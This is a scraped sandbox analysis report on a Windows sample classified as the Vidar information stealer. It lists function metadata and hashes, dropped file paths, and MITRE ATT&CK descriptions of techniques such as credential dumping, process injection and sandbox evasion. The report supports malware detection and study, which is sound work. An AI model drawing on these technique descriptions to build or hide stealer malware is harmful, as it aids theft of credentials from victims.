FileTimeToSystemTime.KERNEL32(?,?), ref: 0041D7A9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041D80E

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 568878067-0
Opcode ID: 75b2103738ecdde49953f6b06e7d75b5bbde3c112b22eec6627f6643067b6ab9
Instruction ID: 931dc2256524a03f6c6b52008fe1b6fe3cfd9aca74429015198684bf78445e10
Opcode Fuzzy Hash: 75b2103738ecdde49953f6b06e7d75b5bbde3c112b22eec6627f6643067b6ab9
Instruction Fuzzy Hash: A0318BB2904B109AE329CF29C8547B7BBE4FF84340F008A2EF5D69A250E779E485DB55

Function 0041D850 Relevance: 6.1, APIs: 4, Instructions: 71timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0041D88A
SystemTimeToFileTime.KERNEL32(?,?), ref: 0041D894
FileTimeToSystemTime.KERNEL32(?,?), ref: 0041D8AF
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041D914

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 568878067-0
Opcode ID: 4f298a821ac2bbf5d00ffec94eb5c8bc91ccbc5d341f049dbc5db8ff6588eb99
Instruction ID: 853963dc4ef663bce705e73e50dc6f04fde9a019ac164f808202a007976d34a8
Opcode Fuzzy Hash: 4f298a821ac2bbf5d00ffec94eb5c8bc91ccbc5d341f049dbc5db8ff6588eb99
Instruction Fuzzy Hash: 8A2100B28147109AE305CF29C8557B7BBE4FF94384F004A2EF0C29A252EB75D086D761

Function 00412C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00412C64
strtok_s.MSVCRT ref: 00412CA9

Strings

|, xrefs: 00412C4B

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: |
API String ID: 3330995566-2343686810
Opcode ID: bc2c58b9c6c1bfbc32daa91625234a30c7c08b101eb4f4c09a5ba0343b8f98f7
Instruction ID: 7cbb43b9c3c311997e94ccc4c59da73614e136a49788afc63ea09a6e546b0ca8
Opcode Fuzzy Hash: bc2c58b9c6c1bfbc32daa91625234a30c7c08b101eb4f4c09a5ba0343b8f98f7
Instruction Fuzzy Hash: F721D7741403099BD734DB21ED44BAB7365FB80308F04891ED91647741E77DE9AAC6A5

Function 0041EAFB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041EB07

Part of subcall function 0041EB72: std::exception::exception.LIBCONCRT ref: 0041EB7F

Part of subcall function 0041EC3E: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,?,0041EAFA,?,00422154,?), ref: 0041EC9E

std::exception::exception.LIBCMT ref: 0041EB24

Part of subcall function 0041EA14: ___std_exception_copy.LIBVCRUNTIME ref: 0041EA32

Strings

MA, xrefs: 0041EB29

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: std::exception::exception$ExceptionRaise___std_exception_copystd::invalid_argument::invalid_argument
String ID: MA
API String ID: 2169675119-1995383381
Opcode ID: 5e16bcba1fca8ba3076d95534cb6dda54aad2f4c5bdff137491fbfa41facd8a7
Instruction ID: aceb0b94333c3644e7339e40653adef569b9cd35f7f4b7ecff5777f99ee5ba9c
Opcode Fuzzy Hash: 5e16bcba1fca8ba3076d95534cb6dda54aad2f4c5bdff137491fbfa41facd8a7
Instruction Fuzzy Hash: ABE0E67590421C778B10BAA6E805CC9BB6C9A00750B404426BE4496541D7B5A99487D9

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report aD7D9fkpII.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Protection of GUI

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_aD7D9fkpII.exe_c55a259761662d66335c138d16911943150cfb0_990ac6de_7c3147b2-b665-4f9a-855d-08e45c098d98\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7533.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7582.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER75B2.tmp.xml

C:\ProgramData\TRQ9ZCBA1N7Q\47GLNG

C:\ProgramData\TRQ9ZCBA1N7Q\4W4EKNGVA

C:\ProgramData\TRQ9ZCBA1N7Q\79H47Y

C:\ProgramData\TRQ9ZCBA1N7Q\79HDJ5

C:\ProgramData\TRQ9ZCBA1N7Q\79R16X

Windows Analysis Report
aD7D9fkpII.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre